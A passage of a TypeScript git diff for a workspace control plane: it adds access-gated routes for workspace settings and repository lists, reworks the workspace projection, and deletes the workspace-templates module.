row.phase, - retryAction: retryActions[row.phase], - canObserve: canOpen && row.phase === "ready", - launchable: canOpen && row.phase === "ready", + machineTypeId: mine === undefined + ? row.default_machine_type_id + : machineTypeIdForRow(mine), + phase, + retryAction: retryActions[phase], + canObserve: canOpen && phase === "ready", + launchable: canOpen && phase === "ready", revision: row.revision, createdAt: row.created_at, updatedAt: row.updated_at, - ssh: canOpen && hasSsh && row.phase !== "destroyed" + ssh: canOpen && hasSsh && mine !== undefined && row.deleted_at === null ? { - host: row.ssh_host ?? "", - port: row.ssh_port ?? 22, - user: row.ssh_user ?? "root", - hostPublicKey: row.ssh_host_public_key, + host: mine.ssh_host ?? "", + port: mine.ssh_port ?? 22, + user: mine.ssh_user ?? "root", + hostPublicKey: mine.ssh_host_public_key, } : null, - volumeId: row.volume_id, - error: row.error, + volumeId: mine?.volume_id ?? null, + error: mine?.error ?? null, role, - orgShareRole: row.org_share_role ?? null, owner: { name: row.owner_name ?? row.owner_id, avatarUrl: row.owner_avatar_url ?? null, }, - // Env values and the startup script are workspace configuration, not - // catalogue data. GET /workspaces returns every row in the org, so this is - // gated on the viewer's role exactly like `ssh` above: a member with no - // grant and no share must not read either. - environment: canOpen ? workspaceEnvironmentFromJson(row.environment, reportError) : null, agentRuleId: row.agent_rule_id, - // The stipulated set, not the live-lease set: the connections panel draws - // one status row per name and reads whether the lease is live off the - // lease list. connections: canOpen ? manifestConnectionNames(row.manifest) : [], + orgId: row.org_id, + ownerMembershipId: row.owner_membership_id, + defaultMachineTypeId: row.default_machine_type_id, + autoProvision: row.auto_provision === 1, + myRole: projection.myRole, + members: canOpen ? members : [], + // Names only, and only for somebody who may use them. A viewer holds no + // machine and may not use a credential (§3), so they read an empty list. + credentials: canOpen && projection.myRole !== "viewer" ? projection.credentials : [], }; - // Provenance, not configuration: which recipe launched this workspace. if (row.recipe_id !== null) view.recipeId = row.recipe_id; return view; } +const WORKSPACE_SELECT = `SELECT w.*, u.name AS owner_name, u.avatar_url AS owner_avatar_url + FROM workspaces w + LEFT JOIN memberships owner ON owner.id = w.owner_membership_id + LEFT JOIN users u ON u.id = owner.user_id`; + export async function workspaceById(db: Db, id: string): Promise { - return first(db, { - q: `SELECT w.*, u.name AS owner_name, u.avatar_url AS owner_avatar_url - FROM workspaces w - LEFT JOIN memberships owner ON owner.id = w.owner_membership_id - LEFT JOIN users u ON u.id = owner.user_id - WHERE w.id = ?1 LIMIT 1`, - v: [id], + return first(db, { q: `${WORKSPACE_SELECT} WHERE w.id = ?1 LIMIT 1`, v: [id] }); +} + +export async function workspacesForOrg(db: Db, orgId: string): Promise { + return rows(db, { + q: `${WORKSPACE_SELECT} WHERE w.org_id = ?1 AND w.deleted_at IS NULL + ORDER BY w.created_at, w.id`, + v: [orgId], + }); +} + +export async function workspaceMembers( + db: Db, + workspaceIds: readonly string[], +): Promise { + if (workspaceIds.length === 0) return []; + const placeholders = workspaceIds.map((_id, index) => `?${String(index + 1)}`).join(", "); + return rows(db, { + q: `SELECT wm.workspace_id, wm.membership_id, wm.role, wm.added_at, + u.name AS member_name, u.avatar_url AS member_avatar_url + FROM workspace_members wm + JOIN memberships m ON m.id = wm.membership_id + JOIN users u ON u.id = m.user_id + WHERE wm.workspace_id IN (${placeholders}) + ORDER BY wm.added_at, wm.membership_id`, + v: [...workspaceIds], + }); +} + +export async function machinesForWorkspaces( + db: Db, + workspaceIds: readonly string[], +): Promise { + if (workspaceIds.length === 0) return []; + const placeholders = workspaceIds.map((_id, index) => `?${String(index + 1)}`).join(", "); + return rows(db, { + q: `SELECT * FROM machines WHERE workspace_id IN (${placeholders}) + ORDER BY created_at, id`, + v: [...workspaceIds], }); } diff --git a/packages/control-plane/core/workspace-settings.ts b/packages/control-plane/core/workspace-settings.ts new file mode 100644 index 00000000..07ac3e42 --- /dev/null +++ b/packages/control-plane/core/workspace-settings.ts @@ -0,0 +1,267 @@ +import { agentRuleIdForOrg } from "./agent-rules.js"; +import { probedRepos } from "./connections/github-repo-check.js"; +import { githubCallerCredential } from "./connections/github-repositories.js"; +import { rows, type Query } from "./db.js"; +import { + HttpError, + isBoolean, + isRecord, + readJson, + requiredString, + type JsonValue, +} from "./http.js"; +import type { Principal } from "./principals.js"; +import type { CoreContext, CoreRouter, CoreRuntime, RuntimeFactory } from "./runtime.js"; +import { + MAX_TEMPLATE_REPOS, + TEMPLATE_REPO_PATTERN, + insertWorkspaceRepos, + workspaceRepos, +} from "./template-repos.js"; +import { + legacyRole, + workspaceAccess, + workspaceForAdminWrite, +} from "./workspace-access.js"; +import { projectWorkspace } from "./workspace-projection.js"; +import { workspaceById, type WorkspaceRow } from "./workspace-records.js"; +import type { + AddWorkspaceRepoRequest, + CreateWorkspaceResponse, + ListWorkspaceReposResponse, + UpdateWorkspaceRequest, +} from "./wire.js"; + +const WORKSPACE_NAME_MAX_LENGTH = 256; + +export function parseUpdateWorkspace(value: JsonValue): UpdateWorkspaceRequest { + if (!isRecord(value)) throw new HttpError(400, "request body must be an object"); + const result: UpdateWorkspaceRequest = {}; + if (value.name !== undefined) { + result.name = requiredString(value.name, "name", WORKSPACE_NAME_MAX_LENGTH); + } + if (value.defaultMachineTypeId !== undefined) { + result.defaultMachineTypeId = requiredString( + value.defaultMachineTypeId, + "defaultMachineTypeId", + 256, + ); + } + if (value.autoProvision !== undefined) { + if (!isBoolean(value.autoProvision)) { + throw new HttpError(400, "autoProvision must be a boolean"); + } + result.autoProvision = value.autoProvision; + } + // An explicit null is the way back to the built-in doc, so it is a value + // here and not the same thing as an absent field. + if (value.agentRuleId !== undefined) { + result.agentRuleId = value.agentRuleId === null + ? null + : requiredString(value.agentRuleId, "agentRuleId", 256); + } + return result; +} + +function parseAddWorkspaceRepo(value: JsonValue): AddWorkspaceRepoRequest { + if (!isRecord(value)) throw new HttpError(400, "request body must be an object"); + const repo = requiredString(value.repo, "repo", 256); + if (!TEMPLATE_REPO_PATTERN.test(repo)) { + throw new HttpError(400, `repo must be "owner/name": ${repo}`); + } + return { repo }; +} + +/** The settings write as one UPDATE, built from the fields the body carried. + * + * An absent field is left alone rather than reset, so the four controls on the + * settings tab can each write on their own. The revision bump is what makes a + * poller notice: a workspace has no lifecycle of its own, and this is the + * counter its clients already watch. */ +function updateWorkspaceQuery( + id: string, + input: UpdateWorkspaceRequest, + agentRuleId: string | null, +): Query { + const assignments: string[] = []; + const values: (string | number | null)[] = []; + if (input.name !== undefined) { + values.push(input.name); + assignments.push(`name = ?${String(values.length)}`); + } + if (input.defaultMachineTypeId !== undefined) { + values.push(input.defaultMachineTypeId); + assignments.push(`default_machine_type_id = ?${String(values.length)}`); + } + if (input.autoProvision !== undefined) { + values.push(input.autoProvision ? 1 : 0); + assignments.push(`auto_provision = ?${String(values.length)}`); + } + if (input.agentRuleId !== undefined) { + values.push(agentRuleId); + assignments.push(`agent_rule_id = ?${String(values.length)}`); + } + values.push(Date.now()); + assignments.push(`revision = revision + 1`, `updated_at = ?${String(values.length)}`); + values.push(id); + return { + q: `UPDATE workspaces SET ${assignments.join(", ")} WHERE id = ?${String(values.length)}`, + v: values, + }; +} + +/** The workspace a repo read names, for anybody who can open it. Reading the + * clone list is not an administrative act: it describes what the box holds, + * which every member of the workspace already sees on their own machine. */ +async function workspaceForRepoRead( + runtime: CoreRuntime, + principal: Principal, + id: string, +): Promise { + const workspace = await workspaceById(runtime.db, id); + if ( + workspace === null + || workspace.org_id !== principal.orgId + || workspace.deleted_at !== null + ) { + throw new HttpError(404, "workspace not found"); + } + const access = await workspaceAccess(runtime.db, principal, workspace); + if (legacyRole(access) === null) throw new HttpError(403, "forbidden"); + return workspace; +} + +/** + * Workspace settings and the workspace's own repository list. + * + * Split out of `core/workspaces.ts` rather than added to it: that file is over + * the 700-line warn and the house rule is to split on touch. Every route here + * is workspace-admin work (plans/MEMBER-MACHINES.md §3, first matrix row), + * except the repo read, which any member of the workspace may make. + * + * Registered ahead of `addWorkspaceRoutes`, because `/workspaces/:id/repos` is + * a literal path under the same prefix as its parameterised routes. + */ +export function addWorkspaceSettingsRoutes( + router: CoreRouter, + runtimeFactory: RuntimeFactory, + requirePrincipal: (context: CoreContext) => Promise, +): void { + /** + * The settings write of §3. + * + * `defaultMachineTypeId` is validated against the machine-type registry the + * moment it is written, so a workspace cannot hold a type no provider claims + * and fail later at every provision instead. It changes what a FUTURE + * machine takes and nothing else: an existing machine carries its own type, + * and moving one is `SetMachineType` (§1a). + */ + router.patch("/workspaces/:id", async (context) => { + const principal = await requirePrincipal(context); + const runtime = runtimeFactory(context); + const workspace = await workspaceForAdminWrite( + runtime.db, + principal, + context.req.param("id"), + ); + const input = parseUpdateWorkspace(await readJson(context.req.raw, 4 * 1024)); + if (input.defaultMachineTypeId !== undefined) { + // Throws 400 for an unknown or ambiguously-claimed type. The registry is + // the only authority on what a type id means (VM provider architecture). + runtime.providers.vmRegistry.forMachineType(input.defaultMachineTypeId); + } + const agentRuleId = input.agentRuleId === undefined + ? null + : await agentRuleIdForOrg(runtime.db, input.agentRuleId, workspace.org_id); + await rows(runtime.db, updateWorkspaceQuery(workspace.id, input, agentRuleId)); + const updated = await workspaceById(runtime.db, workspace.id); + if (updated === null) throw new Error("workspace disappeared during update"); + return context.json({ + workspace: await projectWorkspace(runtime.db, principal, updated), + }); + }); + + router.get("/workspaces/:id/repos", async (context) => { + const principal = await requirePrincipal(context); + const runtime = runtimeFactory(context); + const workspace = await workspaceForRepoRead(runtime, principal, context.req.param("id")); + return context.json({ + repos: await workspaceRepos(runtime.db, workspace.id), + }); + }); + + /** + * Adds one repo to the list. + * + * Privacy is derived here with the caller's own GitHub credential, exactly + * as create derives it, and a private repo without an App grant is refused: + * a clone that cannot authenticate waits 600 seconds before it records the + * failure, so the refusal belongs at save time. + * + * The list takes effect at the next provision. The box clones at boot, so a + * machine that is already running keeps what it cloned until it recreates. + */ + router.post("/workspaces/:id/repos", async (context) => { + const principal = await requirePrincipal(context); + const runtime = runtimeFactory(context); + const workspace = await workspaceForAdminWrite( + runtime.db, + principal, + context.req.param("id"), + ); + const { repo } = parseAddWorkspaceRepo(await readJson(context.req.raw, 4 * 1024)); + const existing = await workspaceRepos(runtime.db, workspace.id); + if (existing.some((entry) => entry.repo === repo)) { + throw new HttpError(409, `repository ${repo} is already in this workspace`); + } + if (existing.length >= MAX_TEMPLATE_REPOS) { + throw new HttpError( + 400, + `a workspace holds at most ${String(MAX_TEMPLATE_REPOS)} repositories`, + ); + } + // Every repo clones into /workspace/, so two repos sharing a name + // would fight over one directory. The same rule create validates the whole + // list against, applied to the one row being added. + const basename = repo.slice(repo.indexOf("/") + 1); + const twin = existing.find((entry) => + entry.repo.slice(entry.repo.indexOf("/") + 1) === basename); + if (twin !== undefined) { + throw new HttpError(400, `repos ${twin.repo} and ${repo} clone into the same directory`); + } + const credential = await githubCallerCredential(runtime, principal.id); + const [probed] = await probedRepos([repo], credential?.token ?? null); + if (probed === undefined) throw new Error("repository probe produced no verdict"); + if (probed.private && credential?.kind !== "oauth") { + throw new HttpError( + 409, + "connect GitHub through the App before adding a private repository", + ); + } + await insertWorkspaceRepos(runtime.db, workspace.id, [probed]); + return context.json({ + repos: await workspaceRepos(runtime.db, workspace.id), + }, 201); + }); + + /** Removes one repo. The path carries "owner/name" as its own two segments, + * because a slash inside one path parameter is not a thing a router can + * hand back intact. */ + router.delete("/workspaces/:id/repos/:owner/:name", async (context) => { + const principal = await requirePrincipal(context); + const runtime = runtimeFactory(context); + const workspace = await workspaceForAdminWrite( + runtime.db, + principal, + context.req.param("id"), + ); + const repo = `${context.req.param("owner")}/${context.req.param("name")}`; + const removed = await rows<{ repo: string }>(runtime.db, { + q: `DELETE FROM workspace_repos WHERE workspace_id = ?1 AND repo = ?2 + RETURNING repo`, + v: [workspace.id, repo], + }); + if (removed.length === 0) throw new HttpError(404, "workspace repository not found"); + return context.body(null, 204); + }); +} diff --git a/packages/control-plane/core/workspace-templates.ts b/packages/control-plane/core/workspace-templates.ts deleted file mode 100644 index 47f48295..00000000 --- a/packages/control-plane/core/workspace-templates.ts +++ /dev/null @@ -1,650 +0,0 @@ -import { agentRuleIdForOrg } from "./agent-rules.js"; -import type { Db } from "./db.js"; -import { first, rows } from "./db.js"; -import { - parseWorkspaceEnvironment, - workspaceEnvironmentFromJson, - storedWorkspaceEnvironment, - WORKSPACE_REQUEST_MAX_BYTES, -} from "./environment.js"; -import { filesActorForRequest, folderRole, requireFolderAccess } from "./files/access.js"; -import { - HttpError, - isRecord, - isString, - readJson, - requiredString, - type JsonValue, -} from "./http.js"; -import type { Principal } from "./principals.js"; -import type { CoreContext, CoreRouter, RuntimeFactory } from "./runtime.js"; -import { probedRepos } from "./connections/github-repo-check.js"; -import { githubCallerCredential } from "./connections/github-repositories.js"; -import { - parseTemplateRepos, - replaceTemplateRepos, - templateRepoRows, - type TemplateRepo, - type TemplateRepoRow, -} from "./template-repos.js"; -import type { TemplateConnectionView, WorkspaceEnvironment, WorkspaceTemplateView } from "./wire.js"; - -export interface WorkspaceTemplateRow { - id: string; - org_id: string; - name: string; - machine_type_id: string; - created_by_membership_id: string; - created_at: number; - updated_at: number; - environment: string | null; - agent_rule_id: string | null; -} - -interface TemplateListRow extends WorkspaceTemplateRow { - creator_name: string; - creator_avatar_url: string | null; -} - -interface TemplateFolderRow { - template_id: string; - folder_id: string; - org_id: string; - name: string; - created_by_membership_id: string; - grant_role: "editor" | "viewer" | null; - org_role: "editor" | "viewer" | null; -} - -interface CreateTemplateInput { - name: string; - machineTypeId: string; - folderIds: string[]; - connections: TemplateConnectionView[]; - repos: string[]; - environment?: WorkspaceEnvironment; - agentRuleId?: string | null; - isOrgDefault?: boolean; -} - -interface TemplateConnectionRow { - template_id: string; - provider: string; -} - -const MAX_TEMPLATE_FOLDERS = 16; -const MAX_TEMPLATE_CONNECTIONS = 16; - -function parseTemplateConnections(value: JsonValue | undefined): TemplateConnectionView[] { - if (value === undefined) return []; - if (!Array.isArray(value)) throw new HttpError(400, "connections must be an array"); - const byProvider = new Map(); - for (const [index, entry] of value.entries()) { - if (!isRecord(entry)) { - throw new HttpError(400, `connections[${String(index)}] must be an object`); - } - const provider = requiredString(entry.provider, `connections[${String(index)}].provider`, 64); - byProvider.set(provider, { provider }); - } - if (byProvider.size > MAX_TEMPLATE_CONNECTIONS) { - throw new HttpError( - 400, - `connections must have at most ${String(MAX_TEMPLATE_CONNECTIONS)} entries`, - ); - } - return [...byProvider.values()]; -} - -function parseCreateTemplate(value: JsonValue): CreateTemplateInput { - if (!isRecord(value)) throw new HttpError(400, "request body must be an object"); - const name = requiredString(value.name, "name", 64).trim(); - if (name === "") throw new HttpError(400, "name is required"); - const machineTypeId = requiredString(value.machineTypeId, "machineTypeId", 256); - if (!Array.isArray(value.folderIds)) { - throw new HttpError(400, "folderIds must be an array"); - } - const folderIds = [...new Set(value.folderIds.map((entry, index) => - requiredString(entry, `folderIds[${String(index)}]`, 256)))]; - if (folderIds.length > MAX_TEMPLATE_FOLDERS) { - throw new HttpError(400, `folderIds must have at most ${String(MAX_TEMPLATE_FOLDERS)} entries`); - } - const result: CreateTemplateInput = { - name, - machineTypeId, - folderIds, - connections: parseTemplateConnections(value.connections), - repos: parseTemplateRepos(value.repos), - }; - // Cloning needs a GitHub credential inside the box, so naming any repo - // force-attaches the github connection. Server-side and idempotent: the - // workspace ceiling then stipulates github, and the workspace connections - // panel surfaces it to members — creation itself never blocks on it. - if (result.repos.length > 0) { - const byProvider = new Map(result.connections.map( - (connection) => [connection.provider, connection], - )); - byProvider.set("github", { provider: "github" }); - result.connections = [...byProvider.values()]; - } - if (value.environment !== undefined) { - result.environment = parseWorkspaceEnvironment(value.environment); - } - if (value.agentRuleId !== undefined) { - if (!(value.agentRuleId === null || isString(value.agentRuleId))) { - throw new HttpError(400, "agentRuleId must be a string or null"); - } - result.agentRuleId = value.agentRuleId; - } - if (value.isOrgDefault !== undefined) { - if (value.isOrgDefault !== true && value.isOrgDefault !== false) { - throw new HttpError(400, "isOrgDefault must be a boolean"); - } - result.isOrgDefault = value.isOrgDefault; - } - return result; -} - -/** A template save probes with whatever GitHub credential the admin holds, a - * personal token included: a template is a name list, not a workspace, and the - * App-only rule bites at create where the clone actually happens. */ -async function checkedTemplateRepos( - runtime: ReturnType, - userId: string, - repos: readonly string[], -): Promise { - if (repos.length === 0) return []; - const credential = await githubCallerCredential(runtime, userId); - return probedRepos(repos, credential?.token ?? null); -} - -async function templateConnectionRows( - db: Db, - templateIds: string[], -): Promise { - if (templateIds.length === 0) return []; - return rows(db, { - q: `SELECT template_id, provider - FROM workspace_template_connections - WHERE template_id IN (${templateIds.map((_id, index) => `?${String(index + 1)}`).join(",")}) - ORDER BY created_at, provider`, - v: templateIds, - }); -} - -/** Template connections referenced by name; the creator supplies the identity - * at instantiate. Full replacement matches the folder set's edit semantics. */ -async function replaceTemplateConnections( - db: Db, - templateId: string, - connections: readonly TemplateConnectionView[], - now: number, -): Promise { - await rows(db, { - q: "DELETE FROM workspace_template_connections WHERE template_id = ?1", - v: [templateId], - }); - for (const connection of connections) { - await rows(db, { - q: `INSERT INTO workspace_template_connections - (template_id, provider, created_at) - VALUES (?1, ?2, ?3)`, - v: [templateId, connection.provider, now], - }); - } -} - -export async function templateConnections( - db: Db, - templateId: string, -): Promise { - return (await templateConnectionRows(db, [templateId])).map((row) => ({ - provider: row.provider, - })); -} - -async function orgDefaultTemplateId(db: Db, orgId: string): Promise { - const org = await first<{ default_template_id: string | null }>(db, { - q: "SELECT default_template_id FROM orgs WHERE id = ?1 LIMIT 1", - v: [orgId], - }); - return org?.default_template_id ?? null; -} - -/** Applies the request's isOrgDefault to the org's single default-template - * pointer. Absent means no change — the pointer is org state, and a template - * edit that never mentions it must not move it. Setting a new default - * implicitly clears the old one (single pointer, no sweep); false clears it - * iff it currently points here. The admin gate for setting runs before any - * write, in requireOrgDefaultPermission. */ -async function applyOrgDefault( - db: Db, - orgId: string, - templateId: string, - isOrgDefault: boolean | undefined, -): Promise { - if (isOrgDefault === undefined) return; - if (isOrgDefault) { - await rows(db, { - q: "UPDATE orgs SET default_template_id = ?2 WHERE id = ?1", - v: [orgId, templateId], - }); - return; - } - await rows(db, { - q: `UPDATE orgs SET default_template_id = NULL - WHERE id = ?1 AND default_template_id = ?2`, - v: [orgId, templateId], - }); -} - -/** Ticking the default is org state, so it is admin-gated (house pattern - * from recipes' usage-capture switch). Clearing rides the same permission as - * the edit itself — deleting the template clears the pointer too. Checked - * before the first write so a refused request changes nothing. */ -function requireOrgDefaultPermission( - input: CreateTemplateInput, - principal: Principal, -): void { - if (input.isOrgDefault === true && principal.role !== "admin") { - throw new HttpError(403, "organization admin required"); - } -} - -export async function workspaceTemplateForCreate( - db: Db, - id: string, - orgId: string, -): Promise { - const template = await first(db, { - q: "SELECT * FROM workspace_templates WHERE id = ?1 LIMIT 1", - v: [id], - }); - if (template === null || template.org_id !== orgId) { - throw new HttpError(404, "workspace template not found"); - } - return template; -} - -async function templateFolderRows( - db: Db, - templateIds: string[], - membershipId: string | null, -): Promise { - if (templateIds.length === 0) return []; - return rows(db, { - q: `SELECT tf.template_id, tf.folder_id, f.org_id, f.name, - f.created_by_membership_id, f.org_role, grant.role AS grant_role - FROM workspace_template_folders tf - JOIN folders f ON f.id = tf.folder_id - LEFT JOIN folder_grants grant - ON grant.folder_id = f.id AND grant.membership_id = ?1 - WHERE tf.template_id IN (${templateIds.map((_, index) => `?${String(index + 2)}`).join(",")}) - ORDER BY tf.created_at, tf.folder_id`, - v: [membershipId, ...templateIds], - }); -} - -/** Workspaces created from a template are named after it; live name twins in - * the org get a numbered suffix so the rail stays tellable-apart. Purely a - * display convention — names are not unique, and a racing create may repeat - * a suffix. */ -export async function templateWorkspaceName( - db: Db, - orgId: string, - templateName: string, -): Promise { - const base = templateName.slice(0, 59).trim(); - const candidates = [base, ...Array.from({ length: 8 }, (_, i) => `${base}-${String(i + 2)}`)]; - const taken = new Set( - (await rows<{ name: string }>(db, { - q: `SELECT name FROM workspaces - WHERE org_id = ?1 AND phase != 'destroyed' - AND name IN (${candidates.map((_, i) => `?${String(i + 2)}`).join(",")})`, - v: [orgId, ...candidates], - })).map(({ name }) => name), - ); - return candidates.find((candidate) => !taken.has(candidate)) - ?? `${base}-${crypto.randomUUID().slice(0, 4)}`; -} - -/** Attaches the template's folders the creating member can actually access; - * the sync tick re-checks access on every pass, so an attachment never - * outlives a revocation. */ -export async function attachTemplateFolders( - db: Db, - templateId: string, - workspaceId: string, - principal: Principal, - now: number, -): Promise { - const folders = await templateFolderRows(db, [templateId], principal.membershipId); - for (const folder of folders) { - if (folderRole(principal, folder) === null) continue; - await rows(db, { - q: `INSERT INTO folder_attachments - (workspace_id, folder_id, attached_by_membership_id, created_at, guest_path) - VALUES (?1, ?2, ?3, ?4, NULL) - ON CONFLICT(workspace_id, folder_id) DO NOTHING`, - v: [workspaceId, folder.folder_id, principal.membershipId, now], - }); - } -} - -function templateView( - row: TemplateListRow, - principal: Principal, - folders: TemplateFolderRow[], - connections: TemplateConnectionRow[], - repos: TemplateRepoRow[], - defaultTemplateId: string | null, -): WorkspaceTemplateView { - return { - id: row.id, - name: row.name, - machineTypeId: row.machine_type_id, - createdAt: row.created_at, - createdBy: { name: row.creator_name, avatarUrl: row.creator_avatar_url }, - environment: workspaceEnvironmentFromJson(row.environment), - agentRuleId: row.agent_rule_id, - isOrgDefault: defaultTemplateId === row.id, - folders: folders.map((folder) => ({ - id: folder.folder_id, - name: folder.name, - role: folderRole(principal, folder), - })), - connections: connections.map((connection) => ({ - provider: connection.provider, - })), - repos: repos.map((row) => ({ repo: row.repo, private: row.private === 1 })), - }; -} - -export function addWorkspaceTemplateRoutes( - router: CoreRouter, - runtimeFactory: RuntimeFactory, - requirePrincipal: (context: CoreContext) => Promise, -): void { - router.get("/workspace-templates", async (context) => { - const runtime = runtimeFactory(context); - const principal = await requirePrincipal(context); - if (principal.orgId === null) throw new HttpError(403, "active membership required"); - const templates = await rows(runtime.db, { - q: `SELECT t.*, creator_user.name AS creator_name, - creator_user.avatar_url AS creator_avatar_url - FROM workspace_templates t - JOIN memberships creator ON creator.id = t.created_by_membership_id - JOIN users creator_user ON creator_user.id = creator.user_id - WHERE t.org_id = ?1 - ORDER BY t.created_at, t.id`, - v: [principal.orgId], - }); - const folders = await templateFolderRows( - runtime.db, - templates.map(({ id }) => id), - principal.membershipId, - ); - const byTemplate = new Map(); - for (const folder of folders) { - const existing = byTemplate.get(folder.template_id) ?? []; - existing.push(folder); - byTemplate.set(folder.template_id, existing); - } - const connections = await templateConnectionRows( - runtime.db, - templates.map(({ id }) => id), - ); - const connectionsByTemplate = new Map(); - for (const connection of connections) { - const existing = connectionsByTemplate.get(connection.template_id) ?? []; - existing.push(connection); - connectionsByTemplate.set(connection.template_id, existing); - } - const repos = await templateRepoRows(runtime.db, templates.map(({ id }) => id)); - const reposByTemplate = new Map(); - for (const repo of repos) { - const existing = reposByTemplate.get(repo.template_id) ?? []; - existing.push(repo); - reposByTemplate.set(repo.template_id, existing); - } - const defaultTemplateId = await orgDefaultTemplateId(runtime.db, principal.orgId); - return context.json({ - templates: templates.map((row) => templateView( - row, - principal, - byTemplate.get(row.id) ?? [], - connectionsByTemplate.get(row.id) ?? [], - reposByTemplate.get(row.id) ?? [], - defaultTemplateId, - )), - }); - }); - - router.post("/workspace-templates", async (context) => { - const runtime = runtimeFactory(context); - const actor = await filesActorForRequest(runtime, context, requirePrincipal); - const principal = actor.principal; - if (principal.orgId === null || principal.membershipId === null) { - throw new HttpError(403, "active membership required"); - } - const input = parseCreateTemplate(await readJson(context.req.raw, WORKSPACE_REQUEST_MAX_BYTES)); - requireOrgDefaultPermission(input, principal); - // Fails loudly on machine types no provider claims, same as create. - runtime.providers.vmRegistry.forMachineType(input.machineTypeId); - for (const folderId of input.folderIds) { - await requireFolderAccess(runtime.db, folderId, actor, "read"); - } - const repos = await checkedTemplateRepos(runtime, principal.id, input.repos); - const agentRuleId = await agentRuleIdForOrg(runtime.db, input.agentRuleId, principal.orgId); - const id = crypto.randomUUID(); - const now = Date.now(); - await rows(runtime.db, { - q: `INSERT INTO workspace_templates - (id, org_id, name, machine_type_id, created_by_membership_id, - created_at, updated_at, environment, agent_rule_id) - VALUES (?1, ?2, ?3, ?4, ?5, ?6, ?6, ?7, ?8)`, - v: [ - id, - principal.orgId, - input.name, - input.machineTypeId, - principal.membershipId, - now, - storedWorkspaceEnvironment(input.environment), - agentRuleId, - ], - }); - for (const folderId of input.folderIds) { - await rows(runtime.db, { - q: `INSERT INTO workspace_template_folders (template_id, folder_id, created_at) - VALUES (?1, ?2, ?3)`, - v: [id, folderId, now], - }); - } - await replaceTemplateConnections(runtime.db, id, input.connections, now); - await replaceTemplateRepos(runtime.db, id, repos); - await applyOrgDefault(runtime.db, principal.orgId, id, input.isOrgDefault); - const creator = await first<{ name: string; avatar_url: string | null }>(runtime.db, { - q: "SELECT name, avatar_url FROM users WHERE id = ?1 LIMIT 1", - v: [principal.id], - }); - const template = templateView( - { - id, - org_id: principal.orgId, - name: input.name, - machine_type_id: input.machineTypeId, - created_by_membership_id: principal.membershipId, - created_at: now, - updated_at: now, - environment: storedWorkspaceEnvironment(input.environment), - agent_rule_id: agentRuleId, - creator_name: creator?.name ?? principal.id, - creator_avatar_url: creator?.avatar_url ?? null, - }, - principal, - await templateFolderRows(runtime.db, [id], principal.membershipId), - await templateConnectionRows(runtime.db, [id]), - await templateRepoRows(runtime.db, [id]), - await orgDefaultTemplateId(runtime.db, principal.orgId), - ); - return context.json({ template }, 201); - }); - - router.put("/workspace-templates/:id", async (context) => { - const runtime = runtimeFactory(context); - const actor = await filesActorForRequest(runtime, context, requirePrincipal); - const principal = actor.principal; - if (principal.orgId === null || principal.membershipId === null) { - throw new HttpError(403, "active membership required"); - } - const template = await workspaceTemplateForCreate( - runtime.db, - context.req.param("id"), - principal.orgId, - ); - if ( - principal.role !== "admin" - && template.created_by_membership_id !== principal.membershipId - ) { - throw new HttpError(403, "forbidden"); - } - // Full replacement with the create shape: the edit form always submits - // name, machine, the complete folder set, and the environment, so an edit - // that cleared the environment sends the empty one rather than dropping it. - // Only newly added folders need read access — an admin may edit a template - // whose existing folders were never shared with them, and keeping those - // must not fail or drop. `agentRuleId` is replaced only when the request - // actually carries the key: the edit form does not render the picker and - // omits it, and blanking a stored rule because a field was absent is not an - // edit anyone asked for. A request that does send it — including an explicit - // null to clear it — gets what it asked for rather than a silent drop. - const input = parseCreateTemplate(await readJson(context.req.raw, WORKSPACE_REQUEST_MAX_BYTES)); - requireOrgDefaultPermission(input, principal); - runtime.providers.vmRegistry.forMachineType(input.machineTypeId); - const existingFolderIds = new Set( - (await templateFolderRows(runtime.db, [template.id], principal.membershipId)) - .map(({ folder_id }) => folder_id), - ); - for (const folderId of input.folderIds) { - if (existingFolderIds.has(folderId)) continue; - await requireFolderAccess(runtime.db, folderId, actor, "read"); - } - // Resolved before the first write so an unknown rule 404s the whole edit - // rather than half-applying it. - const agentRuleId = input.agentRuleId === undefined - ? undefined - : await agentRuleIdForOrg(runtime.db, input.agentRuleId, principal.orgId); - const repos = await checkedTemplateRepos(runtime, principal.id, input.repos); - const now = Date.now(); - await rows(runtime.db, { - q: `UPDATE workspace_templates - SET name = ?2, machine_type_id = ?3, updated_at = ?4, environment = ?5 - WHERE id = ?1`, - v: [ - template.id, - input.name, - input.machineTypeId, - now, - storedWorkspaceEnvironment(input.environment), - ], - }); - if (agentRuleId !== undefined) { - await rows(runtime.db, { - q: "UPDATE workspace_templates SET agent_rule_id = ?2 WHERE id = ?1", - v: [template.id, agentRuleId], - }); - } - await rows(runtime.db, { - q: "DELETE FROM workspace_template_folders WHERE template_id = ?1", - v: [template.id], - }); - for (const folderId of input.folderIds) { - await rows(runtime.db, { - q: `INSERT INTO workspace_template_folders (template_id, folder_id, created_at) - VALUES (?1, ?2, ?3)`, - v: [template.id, folderId, now], - }); - } - await replaceTemplateConnections(runtime.db, template.id, input.connections, now); - await replaceTemplateRepos(runtime.db, template.id, repos); - await applyOrgDefault(runtime.db, principal.orgId, template.id, input.isOrgDefault); - const updated = await first(runtime.db, { - q: `SELECT t.*, creator_user.name AS creator_name, - creator_user.avatar_url AS creator_avatar_url - FROM workspace_templates t - JOIN memberships creator ON creator.id = t.created_by_membership_id - JOIN users creator_user ON creator_user.id = creator.user_id - WHERE t.id = ?1 LIMIT 1`, - v: [template.id], - }); - if (updated === null) throw new HttpError(404, "workspace template not found"); - return context.json({ - template: templateView( - updated, - principal, - await templateFolderRows(runtime.db, [template.id], principal.membershipId), - await templateConnectionRows(runtime.db, [template.id]), - await templateRepoRows(runtime.db, [template.id]), - await orgDefaultTemplateId(runtime.db, principal.orgId), - ), - }); - }); - - router.delete("/workspace-templates/:id", async (context) => { - const runtime = runtimeFactory(context); - const principal = await requirePrincipal(context); - if (principal.orgId === null) throw new HttpError(403, "active membership required"); - const template = await workspaceTemplateForCreate( - runtime.db, - context.req.param("id"), - principal.orgId, - ); - if ( - principal.role !== "admin" - && template.created_by_membership_id !== principal.membershipId - ) { - throw new HttpError(403, "forbidden"); - } - // Recipes hold a NOT NULL reference to their template; deleting it out - // from under them would leave routines that can never launch (and D1 - // enforces the key). Refuse loudly instead of cascading a delete the - // caller did not ask for — and name the blockers so the caller can act. - const referencingRecipes = await rows<{ name: string }>(runtime.db, { - q: "SELECT name FROM recipes WHERE template_id = ?1 ORDER BY created_at, id", - v: [template.id], - }); - if (referencingRecipes.length > 0) { - const count = referencingRecipes.length; - const names = referencingRecipes.map(({ name }) => name).join(", "); - throw new HttpError( - 409, - `delete the ${String(count)} recipe${count === 1 